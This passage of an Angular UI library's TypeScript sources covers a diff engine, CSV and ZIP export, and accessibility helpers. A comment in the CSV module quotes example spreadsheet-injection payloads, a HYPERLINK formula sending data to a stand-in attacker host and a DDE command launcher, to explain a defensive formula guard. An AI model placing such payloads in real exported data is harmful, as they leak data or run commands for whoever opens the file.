standalone: true,\n})\nexport class SvRevealDirective {\n  private readonly host = inject<ElementRef<HTMLElement>>(ElementRef);\n  private readonly destroyRef = inject(DestroyRef);\n\n  /**\n   * Stagger, in milliseconds, for items revealed as a group.\n   *\n   * ★ Capped by the caller, not here — but keep it small. A stagger long\n   *   enough to notice as a queue reads as the page being slow rather than as\n   *   the page being considered.\n   */\n  readonly revealDelay = input<number>(0);\n\n  constructor() {\n    // ★ `afterNextRender` rather than a constructor body or `ngOnInit`: this\n    //   touches `window` and the element's box, neither of which exists during\n    //   the server render. `check:ssr-safety` enforces the same rule.\n    afterNextRender(() => this.arm());\n  }\n\n  private arm(): void {\n    const el = this.host.nativeElement;\n\n    if (typeof window === 'undefined' || typeof IntersectionObserver === 'undefined') return;\n\n    const reduced = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches ?? false;\n    if (reduced) return;\n\n    // Already on screen when the page loads — above the fold, or a short page.\n    // Animating it would mean hiding something the reader is looking at and\n    // then showing it again.\n    const box = el.getBoundingClientRect();\n    if (box.top < window.innerHeight * 0.9) return;\n\n    el.dataset['svReveal'] = 'hidden';\n    const delay = Math.max(0, this.revealDelay());\n    if (delay) el.style.transitionDelay = `${delay}ms`;\n\n    const observer = new IntersectionObserver(\n      (entries) => {\n        for (const entry of entries) {\n          if (!entry.isIntersecting) continue;\n          el.dataset['svReveal'] = 'shown';\n          observer.disconnect();\n        }\n      },\n      // A little before the edge, so the movement finishes as the section\n      // arrives rather than starting when it is already being read.\n      { rootMargin: '0px 0px -12% 0px', threshold: 0.05 },\n    );\n\n    observer.observe(el);\n    // Left before it was ever seen — a route change mid-page. The observer would\n    // otherwise keep watching a detached element for the life of the tab.\n    this.destroyRef.onDestroy(() => observer.disconnect());\n  }\n}\n","/**\n * The diff engine, owned once.\n *\n * ★★★ FOUR FAMILIES WERE EACH GROWING A CORNER OF THIS. Code Block renders a\n * diff it is HANDED — `DiffHunk[]` supplied by the host — and computes nothing.\n * JSON Viewer wanted a JSON diff, Tree View wanted to compare trees,\n * Descriptions wanted to diff a record. Four UIs, four half-engines, four sets\n * of edge cases discovered separately. This is the engine; the renderers stay\n * where they are.\n *\n * ★★ IT IS PURE, AND THAT IS THE POINT. No Angular, no DOM, no rendering\n * opinion — so it can be tested as arithmetic, run in a worker, or called on a\n * server, and the components that use it disagree about presentation without\n * disagreeing about what changed.\n */\n\n// ─── Line diff ────────────────────────────────────────────────────────────────\n\nexport type SvDiffLineKind = 'add' | 'del' | 'context';\n\n/** One line of a diff. Shaped to match what `sv-code-block` already renders. */\nexport interface SvDiffLine {\n  readonly kind: SvDiffLineKind;\n  readonly text: string;\n  /** Line number in the original, or `null` for an added line. */\n  readonly oldNo: number | null;\n  /** Line number in the new text, or `null` for a removed line. */\n  readonly newNo: number | null;\n}\n\n/** A contiguous run of change, with a few unchanged lines either side. */\nexport interface SvDiffHunk {\n  readonly id: string;\n  /** `@@ -12,7 +12,9 @@`. */\n  readonly header: string;\n  readonly lines: readonly SvDiffLine[];\n}\n\nexport interface SvDiffOptions {\n  /** Unchanged lines kept either side of a change. @default 3 */\n  readonly context?: number;\n  /** Compare with leading and trailing whitespace removed. @default false */\n  readonly ignoreWhitespace?: boolean;\n  /** Compare case-insensitively. @default false */\n  readonly ignoreCase?: boolean;\n  /**\n   * Give up past this many edits and report a wholesale replacement.\n   *\n   * ★★★ THE BUDGET IS THE HONEST PART. Myers is O(ND) — fast when the two texts\n   * are related and quadratic when they are not, which is exactly the case a\n   * user reaches by pasting the wrong file. A diff of two unrelated 5,000-line\n   * texts is the classic frozen tab. Past the budget this stops and says the\n   * texts are too different to diff, which is both true and instant; grinding\n   * for forty seconds to produce a diff that is one giant delete followed by\n   * one giant insert is neither.\n   * @default 4000\n   */\n  readonly maxEdits?: number;\n}\n\n/** What a diff turned out to be. */\nexport interface SvDiffResult {\n  readonly hunks: readonly SvDiffHunk[];\n  readonly added: number;\n  readonly removed: number;\n  /** True when the texts are identical under the comparison rules in force. */\n  readonly identical: boolean;\n  /**\n   * True when the edit budget was exhausted and the result is a wholesale\n   * replacement rather than a line-by-line comparison.\n   */\n  readonly tooDifferent: boolean;\n  /** One sentence, for the accessible summary. */\n  readonly summary: string;\n}\n\nconst DEFAULT_CONTEXT = 3;\nconst DEFAULT_MAX_EDITS = 4000;\n\ntype Op = { readonly kind: SvDiffLineKind; readonly oldIndex: number; readonly newIndex: number };\n\nfunction normalise(line: string, options: SvDiffOptions): string {\n  let out = line;\n  if (options.ignoreWhitespace) out = out.trim();\n  if (options.ignoreCase) out = out.toLowerCase();\n  return out;\n}\n\n/**\n * Myers' O(ND) difference algorithm, with a budget.\n *\n * ★ The classic formulation, kept close to the paper: `v` holds the furthest\n * reaching x for each diagonal k, and a trace of those arrays is what lets the\n * path be walked backwards afterwards. The only departure is `maxEdits`.\n */\nfunction myers(a: readonly string[], b: readonly string[], maxEdits: number): Op[] | null {\n  const n = a.length;\n  const m = b.length;\n  const max = Math.min(n + m, maxEdits);\n  const offset = max;\n  const v = new Int32Array(2 * max + 2);\n  const trace: Int32Array[] = [];\n\n  for (let d = 0; d <= max; d++) {\n    trace.push(v.slice());\n    for (let k = -d; k <= d; k += 2) {\n      let x: number;\n      if (k === -d || (k !== d && v[k - 1 + offset] < v[k + 1 + offset])) {\n        x = v[k + 1 + offset];\n      } else {\n        x = v[k - 1 + offset] + 1;\n      }\n      let y = x - k;\n      while (x < n && y < m && a[x] === b[y]) {\n        x++;\n        y++;\n      }\n      v[k + offset] = x;\n      if (x >= n && y >= m) return walkBack(trace, a, b, d, offset);\n    }\n  }\n  // ★ Out of budget. `null` rather than a partial path: half a diff is not a\n  //   smaller diff, it is a wrong one.\n  return null;\n}\n\n/** Reconstruct the edit script from the trace, then reverse it. */\nfunction walkBack(\n  trace: readonly Int32Array[],\n  a: readonly string[],\n  b: readonly string[],\n  d: number,\n  offset: number,\n): Op[] {\n  const ops: Op[] = [];\n  let x = a.length;\n  let y = b.length;\n\n  for (let depth = d; depth > 0; depth--) {\n    const v = trace[depth];\n    const k = x - y;\n    const down = k === -depth || (k !== depth && v[k - 1 + offset] < v[k + 1 + offset]);\n    const prevK = down ? k + 1 : k - 1;\n    const prevX = v[prevK + offset];\n    const prevY = prevX - prevK;\n\n    while (x > prevX && y > prevY) {\n      ops.push({ kind: 'context', oldIndex: x - 1, newIndex: y - 1 });\n      x--;\n      y--;\n    }\n    if (down) {\n      ops.push({ kind: 'add', oldIndex: -1, newIndex: y - 1 });\n      y--;\n    } else {\n      ops.push({ kind: 'del', oldIndex: x - 1, newIndex: -1 });\n      x--;\n    }\n  }\n  while (x > 0 && y > 0) {\n    ops.push({ kind: 'context', oldIndex: x - 1, newIndex: y - 1 });\n    x--;\n    y--;\n  }\n  return ops.reverse();\n}\n\n/** Split a text into lines, with `''` for an empty text rather than `['']`. */\nfunction toLines(text: string): string[] {\n  return text.length === 0 ? [] : text.split('\\n');\n}\n\n/**\n * Diff two texts, line by line.\n *\n * ★ `context` is what makes the output readable rather than complete: a hunk\n * shows a few unchanged lines either side so the reader can see where they are.\n * Zero shows only the changes, which is right for a machine and useless to a\n * person.\n */\nexport function svDiffLines(\n  before: string,\n  after: string,\n  options: SvDiffOptions = {},\n): SvDiffResult {\n  const context = Math.max(0, options.context ?? DEFAULT_CONTEXT);\n  const maxEdits = Math.max(1, options.maxEdits ?? DEFAULT_MAX_EDITS);\n\n  const oldLines = toLines(before);\n  const newLines = toLines(after);\n  const a = oldLines.map((l) => normalise(l, options));\n  const b = newLines.map((l) => normalise(l, options));\n\n  const ops = myers(a, b, maxEdits);\n\n  if (!ops) {\n    // Wholesale replacement, and said so rather than implied.\n    const lines: SvDiffLine[] = [\n      ...oldLines.map((text, i) => ({ kind: 'del' as const, text, oldNo: i + 1, newNo: null })),\n      ...newLines.map((text, i) => ({ kind: 'add' as const, text, oldNo: null, newNo: i + 1 })),\n    ];\n    return {\n      hunks: lines.length\n        ? [{ id: 'hunk-1', header: `@@ -1,${oldLines.length} +1,${newLines.length} @@`, lines }]\n        : [],\n      added: newLines.length,\n      removed: oldLines.length,\n      identical: false,\n      tooDifferent: true,\n      summary:\n        `These two are too different to compare line by line — ` +\n        `${oldLines.length} lines replaced by ${newLines.length}.`,\n    };\n  }\n\n  const all: SvDiffLine[] = ops.map((op) => ({\n    kind: op.kind,\n    text: op.kind === 'add' ? newLines[op.newIndex] : oldLines[op.oldIndex],\n    oldNo: op.oldIndex >= 0 ? op.oldIndex + 1 : null,\n    newNo: op.newIndex >= 0 ? op.newIndex + 1 : null,\n  }));\n\n  const added = all.filter((l) => l.kind === 'add').length;\n  const removed = all.filter((l) => l.kind === 'del').length;\n  const identical = added === 0 && removed === 0;\n\n  return {\n    hunks: identical ? [] : groupIntoHunks(all, context),\n    added,\n    removed,\n    identical,\n    tooDifferent: false,\n    summary: svDiffSummary(identical ? 0 : groupIntoHunks(all, context).length, added, removed),\n  };\n}\n\n/** Collapse long runs of unchanged lines, keeping `context` either side. */\nfunction groupIntoHunks(lines: readonly SvDiffLine[], context: number): SvDiffHunk[] {\n  const changed = lines\n    .map((line, i) => (line.kind === 'context' ? -1 : i))\n    .filter((i) => i >= 0);\n  if (!changed.length) return [];\n\n  const ranges: [number, number][] = [];\n  for (const i of changed) {\n    const from = Math.max(0, i - context);\n    const to = Math.min(lines.length - 1, i + context);\n    const last = ranges[ranges.length - 1];\n    // ★ Merged when they touch OR abut. Two hunks separated by nothing is one\n    //   hunk, and emitting them apart makes the count in the summary wrong.\n    if (last && from <= last[1] + 1) last[1] = Math.max(last[1], to);\n    else ranges.push([from, to]);\n  }\n\n  return ranges.map(([from, to], index) => {\n    const slice = lines.slice(from, to + 1);\n    const oldStart = slice.find((l) => l.oldNo !== null)?.oldNo ?? 0;\n    const newStart = slice.find((l) => l.newNo !== null)?.newNo ?? 0;\n    const oldCount = slice.filter((l) => l.oldNo !== null).length;\n    const newCount = slice.filter((l) => l.newNo !== null).length;\n    return {\n      id: `hunk-${index + 1}`,\n      header: `@@ -${oldStart},${oldCount} +${newStart},${newCount} @@`,\n      lines: slice,\n    };\n  });\n}\n\n/**\n * The sentence a screen reader gets instead of the colours.\n *\n * ★★ A diff conveys everything through red and green, which is the plainest\n * possible 1.4.1 failure — and the counts are also what a sighted reader wants\n * before deciding whether to read it at all.\n */\nexport function svDiffSummary(hunks: number, added: number, removed: number): string {\n  if (added === 0 && removed === 0) return 'No changes.';\n  const parts = [`${hunks} ${hunks === 1 ? 'change' : 'changes'}`];\n  if (added) parts.push(`${added} ${added === 1 ? 'line' : 'lines'} added`);\n  if (removed) parts.push(`${removed} ${removed === 1 ? 'line' : 'lines'} removed`);\n  return `${parts.join(', ')}.`;\n}\n\n// ─── Structural diff ──────────────────────────────────────────────────────────\n\nexport type SvChangeKind = 'added' | 'removed' | 'changed' | 'unchanged';\n\n/** One difference between two values, at a path. */\nexport interface SvValueChange {\n  /** Dotted path — `items.0.price`. `''` is the root. */\n  readonly path: string;\n  readonly kind: SvChangeKind;\n  readonly before: unknown;\n  readonly after: unknown;\n}\n\nexport interface SvValueDiffOptions {\n  /** Paths to leave out of the comparison entirely. */\n  readonly ignore?: (path: string) => boolean;\n  /** Include unchanged leaves in the result. @default false */\n  readonly includeUnchanged?: boolean;\n  /** Refuse to walk deeper than this. @default 12 */\n  readonly maxDepth?: number;\n}\n\n/**\n * Compare two JSON-ish values, leaf by leaf.\n *\n * ★★★ THE IGNORE RULE IS NOT A CONVENIENCE. Every real object comparison\n * carries fields that always differ and never matter — `updatedAt`, a request\n * id, a cache key — and a diff that reports them is a diff nobody reads. The\n * predicate takes the PATH rather than the key so `meta.updatedAt` can be\n * ignored while `record.updatedAt` is not.\n *\n * ★ `maxDepth` exists because a cyclic structure is a hang and a stack\n * overflow, and both are worse than an incomplete answer that says so: past the\n * limit the node is reported as one `changed` leaf rather than walked.\n */\nexport function svDiffValues(\n  before: unknown,\n  after: unknown,\n  options: SvValueDiffOptions = {},\n): SvValueChange[] {\n  const out: SvValueChange[] = [];\n  walk(before, after, '', out, options, options.maxDepth ?? 12);\n  return out;\n}\n\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n  return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\nfunction walk(\n  before: unknown,\n  after: unknown,\n  path: string,\n  out: SvValueChange[],\n  options: SvValueDiffOptions,\n  depth: number,\n): void {\n  if (options.ignore?.(path)) return;\n\n  const bothMissing = before === undefined && after === undefined;\n  if (bothMissing) return;\n\n  if (before === undefined) {\n    out.push({ path, kind: 'added', before: undefined, after });\n    return;\n  }\n  if (after === undefined) {\n    out.push({ path, kind: 'removed', before, after: undefined });\n    return;\n  }\n\n  const container =\n    depth > 0 &&\n    ((isPlainObject(before) && isPlainObject(after)) ||\n      (Array.isArray(before) && Array.isArray(after)));\n\n  if (!container) {\n    const same = Object.is(before, after) || JSON.stringify(before) === JSON.stringify(after);\n    if (!same) out.push({ path, kind: 'changed', before, after });\n    else if (options.includeUnchanged) {\n      out.push({ path, kind: 'unchanged', before, after });\n    }\n    return;\n  }\n\n  if (Array.isArray(before) && Array.isArray(after)) {\n    const length = Math.max(before.length, after.length);\n    for (let i = 0; i < length; i++) {\n      walk(before[i], after[i], path ? `${path}.${i}` : String(i), out, options, depth - 1);\n    }\n    return;\n  }\n\n  const a = before as Record<string, unknown>;\n  const b = after as Record<string, unknown>;\n  // ★ Keys in the order they appear in `before`, then anything new from `after`.\n  //   A diff sorted alphabetically reorders the reader's own object under them.\n  const keys = [...Object.keys(a), ...Object.keys(b).filter((k) => !(k in a))];\n  for (const key of keys) {\n    walk(a[key], b[key], path ? `${path}.${key}` : key, out, options, depth - 1);\n  }\n}\n\n/** The same sentence, for a structural diff. */\nexport function svValueDiffSummary(changes: readonly SvValueChange[]): string {\n  const counted = changes.filter((c) => c.kind !== 'unchanged');\n  if (!counted.length) return 'No changes.';\n  const added = counted.filter((c) => c.kind === 'added').length;\n  const removed = counted.filter((c) => c.kind === 'removed').length;\n  const changed = counted.filter((c) => c.kind === 'changed').length;\n  const parts: string[] = [];\n  if (changed) parts.push(`${changed} changed`);\n  if (added) parts.push(`${added} added`);\n  if (removed) parts.push(`${removed} removed`);\n  const noun = counted.length === 1 ? 'field' : 'fields';\n  return `${counted.length} ${noun}: ${parts.join(', ')}.`;\n}\n","/**\n * CSV serialisation and the browser-download step.\n *\n * Both used to exist four times over — `data-table` (Pro), `data-table-free`,\n * `gantt` and the admin template each rolled their own, and they had already\n * drifted on quoting and filenames. Export lives here so a fix lands once.\n *\n * CSV stays in the free tier deliberately: it costs nothing to ship, and a\n * paywall on comma-separated text would read as petty. Styled Excel and PDF\n * are the Pro surface — see `@styloviz-pro/export`.\n */\n\nexport interface SvCsvOptions {\n  /**\n   * Neutralise cells a spreadsheet would read as a formula. @default true\n   *\n   * ★★★ CSV IS CODE ONCE EXCEL OPENS IT. A text cell beginning with `=`, `+`,\n   *     `-`, `@`, a tab or a carriage return is evaluated as a formula — so a\n   *     customer named `=HYPERLINK(\"https://evil.example/?d=\"&A2,\"Click\")`, or a\n   *     task titled `=cmd|' /C calc'!A0`, runs on the machine of whoever opens\n   *     the export. The data came from one user; the formula runs for another\n   *     (OWASP \"CSV Injection\"). The guard prefixes such a cell with `'`, which\n   *     Excel, Sheets and LibreOffice all display as the literal text.\n   *\n   * Numbers are never touched (`-12.5` stays a number), and neither is a STRING\n   * that is a plain number (`\"-12.5\"`, `\"+44\"`) — those cannot be formulae, and\n   * prefixing them would turn a numeric column into text. Turn the guard off\n   * only for a file that is not meant for a spreadsheet.\n   */\n  readonly formulaGuard?: boolean;\n}\n\n/** A cell a spreadsheet would treat as a formula. */\nconst FORMULA_START = /^[=+\\-@\\t\\r]/;\n/** …unless the whole cell is just a number, which no spreadsheet evaluates. */\nconst PLAIN_NUMBER = /^[+-]?(\\d+([.,]\\d+)*|\\.\\d+)([eE][+-]?\\d+)?%?$/;\n\n/** `'` in front of a string cell that would otherwise run as a formula. */\nexport function svCsvFormulaSafe(value: string): string {\n  return FORMULA_START.test(value) && !PLAIN_NUMBER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quotes a single cell when it contains a comma, quote, or newline, doubling\n * any embedded quote (RFC 4180). `null` / `undefined` become empty. String\n * cells pass through {@link svCsvFormulaSafe} first unless the guard is off.\n */\nfunction csvCell(value: string | number | null | undefined, guard: boolean): string {\n  let s = value == null ? '' : String(value);\n  if (guard && typeof value === 'string') s = svCsvFormulaSafe(s);\n  return /[\",\\n\\r]/.test(s) ? `\"${s.replace(/\"/g, '\"\"')}\"` : s;\n}\n\n/**\n * Builds CSV text from a header row and data rows.\n *\n * CRLF line endings, because Excel on Windows still treats a bare LF as one\n * long line in some locales.\n *\n * @example\n * ```ts\n * const csv = svToCsv(['Product', 'Revenue'], [['Aurora Lamp', 1299.5]]);\n * ```\n */\nexport function svToCsv(\n  headers: readonly string[],\n  rows: readonly (readonly (string | number | null | undefined)[])[],\n  options: SvCsvOptions = {},\n): string {\n  const guard = options.formulaGuard ?? true;\n  const line = (cells: readonly (string | number | null | undefined)[]): string =>\n    cells.map((c) => csvCell(c, guard)).join(',');\n  return [line(headers), ...rows.map(line)].join('\\r\\n');\n}\n\n/**\n * Triggers a browser download of a Blob. Temporary object URL + anchor click —\n * no server round-trip, no dependency.\n *\n * Pass the `Document` rather than reaching for a global so the helper stays\n * SSR-safe and testable; it no-ops when the document has no window.\n */\nexport function svDownloadBlob(doc: Document, filename: string, blob: Blob): void {\n  const view = doc.defaultView;\n  if (!view) return;\n  const url = view.URL.createObjectURL(blob);\n  const anchor = doc.createElement('a');\n  anchor.href = url;\n  anchor.download = filename;\n  doc.body.appendChild(anchor);\n  anchor.click();\n  doc.body.removeChild(anchor);\n  view.URL.revokeObjectURL(url);\n}\n\n/** Convenience wrapper: serialise text and download it in one call. */\nexport function svDownloadText(\n  doc: Document,\n  filename: string,\n  content: string,\n  mime = 'text/csv;charset=utf-8',\n): void {\n  svDownloadBlob(doc, filename, new Blob([content], { type: mime }));\n}\n","/**\n * Minimal, dependency-free ZIP writer.\n *\n * Produces a valid `.zip` Blob using the STORE method (no compression), which\n * is enough for shipping a small bundle of text files entirely client-side —\n * no backend, no external library, no network call. Every standard archive\n * tool (Explorer, Finder, `unzip`) opens the result.\n *\n * Only text entries are supported (encoded as UTF-8), which is all the demo\n * template download needs.\n */\n\n/** A single file to place inside the archive. */\nexport interface ZipEntry {\n  /** Path within the archive, e.g. `README.md` or `docs/SETUP.md`. */\n  readonly name: string;\n  /** UTF-8 text content of the file. */\n  readonly content: string;\n}\n\n/** Precomputed CRC-32 lookup table (IEEE polynomial). */\nconst CRC_TABLE: Uint32Array = (() => {\n  const table = new Uint32Array(256);\n  for (let n = 0; n < 256; n++) {\n    let c = n;\n    for (let k = 0; k < 8; k++) {\n      c = (c & 1) !== 0 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;\n    }\n    table[n] = c >>> 0;\n  }\n  return table;\n})();\n\nfunction crc32(bytes: Uint8Array): number {\n  let crc = 0xffffffff;\n  for (const byte of bytes) {\n    crc = CRC_TABLE[(crc ^ byte) & 0xff] ^ (crc >>> 8);\n  }\n  return (crc ^ 0xffffffff) >>> 0;\n}\n\n/** Packs a JS Date into DOS date/time words used by the ZIP format. */\nfunction dosDateTime(d: Date): { readonly date: number; readonly time: number } {\n  const year = Math.max(1980, d.getFullYear());\n  const date = (((year - 1980) & 0x7f) << 9) | ((d.getMonth() + 1) << 5) | d.getDate();\n  const time = (d.getHours() << 11) | (d.getMinutes() << 5) | (d.getSeconds() >> 1);\n  return { date: date & 0xffff, time: time & 0xffff };\n}\n\n/**\n * Builds a `.zip` archive from the given text entries and returns it as a Blob\n * ready to be handed to an object URL for download.\n */\nexport function createZipBlob(entries: readonly ZipEntry[]): Blob {\n  const encoder = new TextEncoder();\n  const localChunks: Uint8Array[] = [];\n  const centralChunks: Uint8Array[] = [];\n  const { date, time } = dosDateTime(new Date());\n\n  let offset = 0;\n\n  for (const entry of entries) {\n    const nameBytes = encoder.encode(entry.name);\n    const data = encoder.encode(entry.content);\n    const crc = crc32(data);\n    const size = data.length;\n\n    // ── Local file header (30 bytes + name) ──\n    const local = new Uint8Array(30 + nameBytes.length);\n    const lv = new DataView(local.buffer);\n    lv.setUint32(0, 0x04034b50, true); // signature\n    lv.setUint16(4, 20, true); // version needed to extract\n    lv.setUint16(6, 0, true); // general purpose flags\n    lv.setUint16(8, 0, true); // compression method: 0 = store\n    lv.setUint16(10, time, true);\n    lv.setUint16(12, date, true);\n    lv.setUint32(14, crc, true);\n    lv.setUint32(18, size, true); // compressed size\n    lv.setUint32(22, size, true); // uncompressed size\n    lv.setUint16(26, nameBytes.length, true);\n    lv.setUint16(28, 0, true); // extra field length\n    local.set(nameBytes, 30);\n    localChunks.push(local, data);\n\n    // ── Central directory record (46 bytes + name) ──\n    const central = new Uint8Array(46 + nameBytes.length);\n    const cv = new DataView(central.buffer);\n    cv.setUint32(0, 0x02014b50, true); // signature\n    cv.setUint16(4, 20, true); // version made by\n    cv.setUint16(6, 20, true); // version needed\n    cv.setUint16(8, 0, true); // flags\n    cv.setUint16(10, 0, true); // method\n    cv.setUint16(12, time, true);\n    cv.setUint16(14, date, true);\n    cv.setUint32(16, crc, true);\n    cv.setUint32(20, size, true);\n    cv.setUint32(24, size, true);\n    cv.setUint16(28, nameBytes.length, true);\n    cv.setUint16(30, 0, true); // extra length\n    cv.setUint16(32, 0, true); // comment length\n    cv.setUint16(34, 0, true); // disk number start\n    cv.setUint16(36, 0, true); // internal attributes\n    cv.setUint32(38, 0, true); // external attributes\n    cv.setUint32(42, offset, true); // relative offset of local header\n    central.set(nameBytes, 46);\n    centralChunks.push(central);\n\n    offset += local.length + data.length;\n  }\n\n  const centralSize = centralChunks.reduce((n, c) => n + c.length, 0);\n  const centralOffset = offset;\n\n  // ── End of central directory record (22 bytes) ──\n  const end = new Uint8Array(22);\n  const ev = new DataView(end.buffer);\n  ev.setUint32(0, 0x06054b50, true); // signature\n  ev.setUint16(4, 0, true); // disk number\n  ev.setUint16(6, 0, true); // disk with central dir\n  ev.setUint16(8, entries.length, true); // entries on this disk\n  ev.setUint16(10, entries.length, true); // total entries\n  ev.setUint32(12, centralSize, true);\n  ev.setUint32(16, centralOffset, true);\n  ev.setUint16(20, 0, true); // comment length\n\n  // Concatenate everything into a single ArrayBuffer-backed array so it is a\n  // valid, strictly-typed `BlobPart`.\n  const parts: Uint8Array[] = [...localChunks, ...centralChunks, end];\n  const total = parts.reduce((n, p) => n + p.length, 0);\n  const out = new Uint8Array(total);\n  let pos = 0;\n  for (const part of parts) {\n    out.set(part, pos);\n    pos += part.length;\n  }\n\n  return new Blob([out], { type: 'application/zip' });\n}\n","/**\n * \"Is the primary pointer a finger?\"\n *\n * ── The defect this exists for (`FI-03-I1`) ────────────────────────────────\n *\n * ★★★ A HOVER-TRIGGERED PANEL ON A TOUCHSCREEN IS NOT MERELY UNREACHABLE — IT\n *     IS WORSE THAN THAT. Mobile browsers fire a synthetic `mouseenter` on tap,\n *     so hover expansion half-works: the tap that was meant to *choose* a branch\n *     opens it instead, and a drag across the panel opens whatever the finger\n *     passed over. \"Unreachable\" would at least be obvious.\n *\n * ★★ THE HOST CANNOT DECIDE THIS AT TEMPLATE TIME. `expandTrigger=\"hover\"` is a\n *    reasonable thing to write for a desktop app, and the same build runs on a\n *    tablet. The component is the only party that knows what the pointer is —\n *    and on a hybrid device it can change mid-session, which is why this is a\n *    subscription and not a one-shot read.\n *\n * `(hover: none)` rather than `(pointer: coarse)`: a stylus is coarse and hovers\n * perfectly well, and a laptop with a touchscreen reports `coarse` for its\n * *secondary* pointer while the trackpad hovers fine. The question here is\n * literally whether hovering exists.\n *\n * SSR-safe: `false` without `window`, which is the desktop assumption and the\n * one that renders the same markup the client will.\n */\nconst QUERY = '(hover: none)';\n\nexport function svHoverUnavailable(): boolean {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') return false;\n  return window.matchMedia(QUERY).matches;\n}\n\n/**\n * Subscribe to changes. Returns an unsubscribe function; a no-op without\n * `window`.\n */\nexport function svOnHoverAvailabilityChange(cb: (unavailable: boolean) => void): () => void {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') {\n    return () => { /* intentionally empty */ };\n  }\n  const mql = window.matchMedia(QUERY);\n  const handler = (e: MediaQueryListEvent): void => cb(e.matches);\n  mql.addEventListener('change', handler);\n  return () => mql.removeEventListener('change', handler);\n}\n","/**\n * \"The user wants more contrast, or has taken the palette over.\"\n *\n * ★★★ TWO QUERIES, ONE ANSWER, AND THAT IS THE DESIGN. `(prefers-contrast:\n *     more)` is a request — macOS \"Increase contrast\", Windows' contrast\n *     slider — and `(forced-colors: active)` is a seizure: Windows High\n *     Contrast replaces the page's colours with the user's own. A component\n *     that honours one and not the other has a decorative glow left over in\n *     exactly the mode that cannot render it, so both resolve to the same\n *     fallback here rather than at every call site.\n *\n * ★★ WHAT IT IS FOR IS DROPPING DECORATION, NOT RE-COLOURING. A glow, a\n *    gradient and a translucent tint are all ways of saying something with\n *    colour alone; under either query they lose the contrast that made them\n *    legible (1.4.11 asks for 3:1 against what is adjacent, and a blurred edge\n *    has no one contrast to measure). The answer is to fall back to a solid\n *    treatment — not to pick different custom colours, which forced-colors\n *    will override anyway.\n *\n * SSR-safe: `false` without `window`, which is the assumption that renders the\n * markup the client will hydrate.\n */\n\nconst QUERIES = ['(prefers-contrast: more)', '(forced-colors: active)'] as const;\n\n/** Returns `true` when the user has asked for more contrast, or forced colors. */\nexport function svHighContrast(): boolean {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') return false;\n  return QUERIES.some(q => window.matchMedia(q).matches);\n}\n\n/**\n * Subscribe to changes in either preference.\n *\n * ★ Both lists are watched and the callback receives the OR, so a component\n *   holds one signal rather than two and cannot get the combination wrong.\n *\n * @returns an unsubscribe function; a no-op without `window`.\n */\nexport function svOnHighContrastChange(cb: (high: boolean) => void): () => void {\n  if (typeof window === 'undefined' || typeof window.matchMedia !== 'function') {\n    return () => { /* intentionally empty */ };\n  }\n  const lists = QUERIES.map(q => window.matchMedia(q));\n  const handler = (): void => cb(lists.some(l => l.matches));\n  for (const l of lists) l.addEventListener('change', handler);\n  return () => { for (const l of lists) l.removeEventListener('change', handler); };\n}\n","/**\n * Black or white, whichever reads better on `fill`.\n *\n * For the case a static contrast checker cannot reach: a chip whose background\n * arrives at runtime, from data. `check-contrast-pairs.mjs` names this exact\n * situation in its `BG_UNKNOWABLE` list, because `[style.background]=\"lbl.color\"`\n * is an expression and no scanner can evaluate it. The answer is not to check\n * it harder but to derive an ink that cannot be wrong.\n *\n * The two candidates are pure black and pure white on purpose. The worst\n * possible fill sits at relative luminance 0.1791, where both land at 4.58:1 —\n * so this clears WCAG AA (4.5:1) for **any** colour a caller can pass. A softer\n * dark than `#000000` drops that floor below 4.5 and takes the guarantee with\n * it, which is the whole value of the function.\n *\n * Accepts `#rgb` and `#rrggbb`. Anything else — `rgb(…)`, a named colour, a\n * `var()` — cannot be measured without a live element, so it gets white; pass a\n * hex if the fill is light. Callers whose fallback fill is a token should point\n * it at a dark stop (700 or above) so that default is right.\n *\n * @example\n * ```html\n * <span [style.background]=\"label.color\" [style.color]=\"svReadableInk(label.color)\">\n * ```\n */\nexport function svReadableInk(fill: string | null | undefined): '#000000' | '#ffffff' {\n  const hex = expandHex(fill?.trim() ?? '');\n  if (!hex) return '#ffffff';\n\n  // sRGB relative luminance, WCAG 2.x §Relative luminance.\n  const channel = (i: number): number => {\n    const c = parseInt(hex.slice(i * 2, i * 2 + 2), 16) / 255;\n    return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;\n  };\n  const luminance = 0.2126 * channel(0) + 0.7152 * channel(1) + 0.0722 * channel(2);\n\n  return luminance > 0.1791 ? '#000000' : '#ffffff';\n}\n\n/** The six hex digits of `#rgb` or `#rrggbb`, or `null` if it is neither. */\nfunction expandHex(value: string): string | null {\n  if (/^#[0-9a-fA-F]{6}$/.test(value)) return value.slice(1);\n  if (/^#[0-9a-fA-F]{3}$/.test(value)) {\n    return value\n      .slice(1)\n      .split('')\n      .map((d) => d + d)\n      .join('');\n  }\n  return null;\n}\n","/**\n * Saying a number the way the reader writes it.\n *\n * ── What this is for, and what it deliberately is not ───────────────────────\n *\n * ★★★ `sv-number-input` HARDCODED `'$'` (`FI-15-I3`). `variant=\"currency\"`\n *     meant dollars, for everyone, with a `prefix` input as the only way out —\n *     so every non-USD consumer was either broken or working around the\n *     variant. That is the defect these functions exist to close.\n *\n * ★★★ AND THE POSITION IS NOT A CONSTANT EITHER, WHICH IS THE HALF A PREFIX\n *     INPUT CANNOT FIX. Measured:\n *\n *         en-US  USD   $1,234.50\n *         en-GB  GBP   £1,234.50\n *         de-DE  EUR   1.234,50 €      ← after, with a space\n *         fr-FR  EUR   1 234,50 €      ← after, and the group is a space\n *         de-CH  CHF   CHF 1'234.50    ← before, with a space\n *         bn-BD  BDT   ১,২৩৪.৫০৳       ← after, no space, Bengali digits\n *\n *     A `prefix` input can only ever produce the first two. Half the world's\n *     money goes on the other end of the number.\n *\n * ★★ NOTHING HERE IS A TABLE. Every separator, symbol and position is read out\n *    of `Intl.NumberFormat().formatToParts()` — the platform's own CLDR data.\n *    A hardcoded list of locales is a list that is wrong the year after it is\n *    written, and wrong silently, for the users least able to report it.\n *\n * ⚠️ THIS IS NOT A `SvLocaleContext`. That is `X-9` and it is a bigger design.\n *    These are two pure functions over a BCP-47 tag, so a component can take a\n *    `locale` input today and be re-plumbed into a context later without its\n *    behaviour changing.\n 